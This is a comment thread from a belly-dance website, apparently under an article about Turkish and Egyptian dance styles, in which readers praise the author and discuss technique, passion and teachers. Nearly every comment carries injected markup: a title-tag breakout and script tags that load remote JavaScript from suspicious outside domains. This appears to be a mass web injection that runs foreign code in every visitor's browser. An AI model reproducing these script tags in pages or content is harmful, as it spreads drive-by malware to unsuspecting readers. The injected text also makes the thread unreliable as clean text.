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Those Terrible Turkish Tendenc |
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Ligaya |
Those Terrible Turkish Tendenc |
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| Gigilyn |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Great article! It's nice to see that someone who sounds very passionate about our dance doesn't necessarily have to take it (and herself)so seriously<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Tasnim |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Great article. I feel your pain (I'm 4'11 myself). It's hard keeping a little person's big energy inside. Containing your fire is difficult when you want to take the house by storm.
Ask poor Zenaide. Once I get started in class, I can't stay still. Sometimes I'm sure she wishes she had a bucket of ice water to put me out. Other times I'm stumped (my poor teachers!). I've learned to sometimes step back and just absorb, when I can't get the concept of a move or a chorepgraphy. Later, when I've internalized the movement and do not have the pressure of "getting it" it comes. Sweetly, quietly, the movement wispers to my body, how it's done, and relaxed, my body responds. In my private practice, I allow myself to be wild and free. Those moments of freedom are remembered by your body & when you need them, they can be the surprise element needed in a dance so controlled.
This dance is about surprises and contrast; soft with hard, fast with slow. Allow that energy to be a surprise to your audience, a peak through a billowy curtain in your performance of your wild unbridled soul.
It's wonderful to describe yourself as a qypsy, a wild uncontained spirit living in the woment. We should all be a little more Turkish, a little more gypsy. Life, dance, art, love, would all be the beneficiaries
Here's to your pixie fire!
Tasnim<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Ligaya |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Hi Tasnim,
Thanks for your reaction. Wow, I thought I was tiny! : -) But if I look at your profile I’d say you must have infinitely more energy than I do. I guess if you can find those soft whispered moments then there must still be hope for me. Thanks for the encouragement!!!
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| Lola |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"You either do it the 'proper' way or you have no business doing it at all." -- Ouch! These words give me chills.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Amulya |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Veils are an unnecessary distraction according to Farouq. This is very interesting: I have seen him dancing with veil, worse: double veil ;-)<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Ligaya |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Hi Lola, Amulya, Well, at this point the author has to confess to having taken some liberties and exaggerating just a teensy bit ;-) Of course Peter Verzijl isn’t nearly half as unrelenting as I’ve made him out to be. He’s actually a rather sweet little man who just happens to take his art very,VERY seriously, which is in fact what we all admire him for. But as I said to him, part of the fun of taking his classes is in fact getting to pretend to be terrified of the oh-so-formidable Farouq...lol There is one thing he does insist on and that is being clear about the particular style you’re doing. Or as he puts it , “If you are going to do a ‘fantasy’ dance, then call it a ‘fantasy’ dance, and there is nothing wrong with that.” But he does believe that there are certain things that just don’t belong in the Classical Egyptian style and I guess I would have to agree with him<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Lola |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Hi Ligaya! What I really wanted to say is that I applaud you for expressing yourself when you dance. Sounds like you are on the right track, learning the best technique you can, then being yourself when you dance. That is beautiful. Clones are boring. Alsom, of course it's obvious that your are using a poetic language to express how you feel in these situations, rather than criticizing your teachers. It is very clear that you respect and admire them. Love, Lola<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Tempest |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"I don’t just lock – I lock and load."
Hell yeah!!! There is no way my personality can pull off "delicate Egyptian princess"--give me "trashy Turkish" any day! I was so blessed to have a teacher who is not only extremely knowledgeable in multiple areas of the dance, but supportive of my style...and that she taught me Turkish ;)<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| alWajdi |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Great article! Thank you. Hope you'll write another soon...<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Tasnim |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Ligaya, I can see from the comments that many of us who read the article feel the pressure of containment. Better to dance with too much soul than with none at all. I'm all for clarity of step and style, but a dance without passion is empty choreography.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Ligaya |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Well, I guess this discussion has been raging since the first temple dancers started teaching novices to dance;-)But wouldn't it be just wonderful to reach that point that perfection of technique becomes an effortless tool for expressing your passion instead of a hindrance to it? To get past being a dancer and becoming the dance itself. Yeah, dream on, Ligaya. btw, I'm actually starting lessons with a new teacher this coming week. She's known for her rather "in your face" Lebanese style. I can't wait to see what comes out of that! I'll keep you guys posted.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| ANTONIA |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--~~~~~~~~~~~~~~~
The dancer's body is simply the luminous manifestation of the soul.
Isadora Duncan
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I see dance being used as communication between body and soul, to express what it too deep to find for words.
The real message of the Dance opens up the vistas of life to all who have the urge to express beauty with no other instrument than their own bodies, with no apparatus and no dependence on anything other than space.
Ruth St. Denis
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Even though I am a professional, and I know what the steps are, I don't quite know how I'm going to do them, because I haven't lived that moment yet.
Suzanne Farrell
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Great dancers are not great because of their technique, they are great because of their passion.
Dance is the hidden language of the soul.
Martha Graham
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The dance is a poem of which each movement is a word.
Mata Hari
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